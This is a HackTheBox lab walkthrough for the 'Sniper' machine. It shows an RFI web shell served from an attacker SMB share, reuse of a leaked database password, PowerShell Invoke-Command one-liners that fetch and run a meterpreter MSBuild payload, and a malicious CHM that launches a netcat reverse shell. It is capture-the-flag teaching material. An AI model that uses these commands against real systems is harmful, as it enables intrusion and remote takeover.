HackTheBox - Sniper

8 minute read

Sniper was a cool 30 point box created by MinatoTW and felamos. It started out with finding a parameter vulnerable to LFI which happened to also be vulnerable to RFI using our own custom Samba SMB server to host a web shell. You can then use some PowerShell to execute commands as chris to get user and subsequently a meterpreter shell on the box. Finally you had to create a malicious CHM file which when opened executes nc.exe sending you a shell and subsequently root.



We start the box with a quick TCP nmap scan:

# nmap -sC -sV -T4

80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m04s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-03-28T17:10:25
|_  start_date: N/A


Checking out we’re presented with the following page:

The Our services and User Portal sections are the only links that work on the page. Our services leads you to /blog/index.php:

User Portal leads you to /user/login.php:

You can register and login with a new user but the site is under construction. After testing for second order SQLi (via the sign-up form) to no avail I turned my focus back to the blog.

Language LFI

In the top left corner of the blog you’ll notice a Language drop down menu with three options:

Selecting one of the options displays the About us page in that specific language. The URL stands out as it’s taking input via the lang parameter and displaying a different page accordingly:

If you change the lang= value to nul you’ll notice you’re presented with a blank page:

You can read some minor files from the box but nothing of any real significance.


The lang parameter clearly has a file inclusion vulnerability. After playing around with it for a while you’ll find you can get RFI using a UNC path to our own hosted SMB server share.

Impacket has a smbserver.py script that you can use:

# python smbserver.py sniper /home/kali/testing/

Going to the following URL:\\\testing

You’ll receive a connection back:

# python smbserver.py sniper /home/kali/testing/

Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (,49680)
[*] Closing down connection (,49680)
[*] Remaining connections []

The connection is closed pretty quick so you’re unable to achieve code exection using the script.

Samba SMB Server

The smbserver.py script failed in an RFI sense, but there’s another option to set up a Samba SMB server locally.

Execute the following commands in order:

# apt-get install samba
# mkdir /var/www/html/pub/
# chmod 0555 /var/www/html/pub/
# chown -R nobody:nogroup /var/www/html/pub/
# vim /etc/samba/smb.conf

Then paste the following code at the bottom of your /etc/samba/smb.conf file:

   comment =  Samba
   path = /var/www/html/pub
   read only = no
   browsable = yes
   guest ok = yes

Finally restart the service:

# service smbd restart


I hosted the following webshell in /var/www/html/pub. Going to the URL below fetches and executes that webshell:\\\public\webshell.php

You’ll then be presented with the following page where you can run commands on the underlying host:

File System Enumeration

Poking around the file system from the webshell you’ll notice the user Chris present on the box:

dir C:\users
 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\users

04/11/2019  07:04 AM    <DIR>          .
04/11/2019  07:04 AM    <DIR>          ..
04/09/2019  06:47 AM    <DIR>          Administrator
04/11/2019  07:04 AM    <DIR>          Chris
04/09/2019  06:47 AM    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  17,991,254,016 bytes free

Checking out wwwroot you can see the vulnerable index.php code:

<?php include 'header.html'; ?>
$lang = "blog-en.php";
if(!ISSET($_GET['lang'])) {
	include $lang;
else {
	$lang = $_GET['lang'];
	if(stripos($lang, "..") === false && stripos($lang, "C:") === false) { // Hardened 8)
		if(!(include $lang)) {
			include "error.html";
	else {
		include "error.html";

Checking out the C:\inetpub\wwwroot\user directory you can see why second order SQLi fails on the registration.php page:

// If form submitted, insert values into the database.
if (isset($_REQUEST['username'])){
        // removes backslashes
	$username = stripslashes($_REQUEST['username']);
	$username = str_replace('-', '', $username);
	$username = str_replace('$', '', $username);
	$username = str_replace('[', '', $username);
	$username = str_replace('(', '', $username);
	$username = str_replace('_', '', $username);
	$username = str_replace('.', '', $username);
	$username = str_replace(';', '', $username);
	$username = str_replace('&', '', $username);
	$username = str_replace('"', '', $username);
        //escapes special characters in a string
	$username = mysqli_real_escape_string($con,$username); 
	$email = stripslashes($_REQUEST['email']);
	$email = mysqli_real_escape_string($con,$email);
	$password = stripslashes($_REQUEST['password']);
	$password = mysqli_real_escape_string($con,$password);
	$trn_date = date("Y-m-d H:i:s");
        $query = "INSERT into `users` (username, password, email, trn_date)
VALUES ('$username', '".md5($password)."', '$email', '$trn_date')";
        $result = mysqli_query($con,$query);

header("Location: login.php");

More importantly there’s a db.php script that contains some juicy information:

// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  echo "Failed to connect to MySQL: " . mysqli_connect_error();


I decided to test whether the 36mEAhz/B8xQ~2VM password in the db.php file worked for chris via SMB:

# smbmap -u chris -p 36mEAhz/B8xQ~2VM -H
[+] Finding open SMB ports....
[+] User SMB session establishd on
[+] IP:        Name: sniper.htb                                        
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    READ ONLY

It was successful, although there’s nothing of value in the IPC$ share. However, the fact that the credentials worked prompted me to use them with some PowerShell and to get command exectution as chris via the webshell.

PowerShell Credentials

The following PowerShell snippet allows you to create a PSCredential for chris and parse it to the Invoke-Command cmdlet, meaning you can run commands as chris on localhost:

$Username = 'SNIPER\chris'
$Password = '36mEAhz/B8xQ~2VM'
$pass = ConvertTo-SecureString -AsPlainText $Password -Force
$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass
Invoke-Command -Credential $Cred -ComputerName localhost { whoami }

As one line you can input it into the webshell:

powershell -exec bypass -c "$Username = 'SNIPER\chris';$Password = '36mEAhz/B8xQ~2VM';$pass = ConvertTo-SecureString -AsPlainText $Password -Force;$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass;Invoke-Command -Credential $Cred -ComputerName localhost { whoami }" 

You’ll receive the following response:


You don’t need a shell to get the user flag as we have command execution as chris via the webshell. Entering the following command will type the flag:

powershell -exec bypass -c "$Username = 'SNIPER\chris'; $Password = '36mEAhz/B8xQ~2VM'; $pass = ConvertTo-SecureString -AsPlainText $Password -Force; $Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass; Invoke-Command -Credential $Cred -ComputerName localhost { type C:\users\chris\desktop\user.txt }"

You’ll receive the flag on screen:


Shell Upgrade

You can obtain a meterpreter via the web shell using the same PowerShell code execution technique. First you want to generate a meterpreter payload with nps_payload, this technique can be found here.

Start the Metasploit msfconsole resource script:

# msfconsole -r msbuild_nps.rc

You then need to upload the msbuild_nps.xml payload to the box via the webshell. I decided to serve the file in the Samba SMB share used earlier and executed the following PowerShell one-liner into the webshell (you can also use the upload function directly integrated into the webshell):

powershell -exec bypass -c "$Username = 'SNIPER\chris'; $Password = '36mEAhz/B8xQ~2VM'; $pass = ConvertTo-SecureString -AsPlainText $Password -Force; $Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass; Invoke-Command -Credential $Cred -ComputerName localhost { copy \\\public\msbuild_nps.xml C:\programdata\ }" 

Make sure the payload is in C:\programdata\ directory and then run:

powershell -exec bypass -c "$Username = 'SNIPER\chris'; $Password = '36mEAhz/B8xQ~2VM'; $pass = ConvertTo-SecureString -AsPlainText $Password -Force; $Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass; Invoke-Command -Credential $Cred -ComputerName localhost { C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\programdata\msbuild_nps.xml }" 

You should receive a connection back on the msfconsole listener fairly quickly.

meterpreter > getuid
Server username: SNIPER\Chris
meterpreter > sysinfo
Computer        : SNIPER
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Meterpreter     : x86/windows


In the C:\Docs\ directory you’ll notice a note.txt file with the following contents:

Hi Chris,
        Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after 
        that fix the website as there are a lot of bugs on it. And I hope that you've prepared 
        the documentation for our new app. Drop it here when you're done with it. 

Sniper CEO.

There appears to be some sort of script monitoring this directory for files and then processing them. I found ‘documentation’ a tad vague so I decided to check around the file system for anything that may hint at what the CEO was expecting.

I came across an instructions.chm file in the C:\Users\Chris\Downloads directory:

 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Users\Chris\Downloads

04/11/2019  08:36 AM    <DIR>          .
04/11/2019  08:36 AM    <DIR>          ..
04/11/2019  08:36 AM            10,462 instructions.chm


CHM is an extension for the Compiled HTML file format, most commonly used by Microsoft’s HTML-based help program. It may contain many compressed HTML documents and the images and JavaScript they link to. CHM features include a table of contents, index, and full text searching.

There is a great nishang script called Out-CHM.ps1 which you can use to generate a malicious CHM file.

First you need to import the module:

Import Module .\Out-CHM.ps1

Then execute the following command:

Out-CHM -Payload C:\programdata\nc.exe 4443 -e cmd.exe" -HHCPath 'C:\progra~2\HTML Help Workshop\'

You need to upload a static nc.exe binary to the C:\programdata\ directory and then drop the generated CHM file into C:\Docs


After a short wait you’ll receive a shell and can type the root flag:

C:\Users\Administrator\Desktop>type root.txt
type root.txt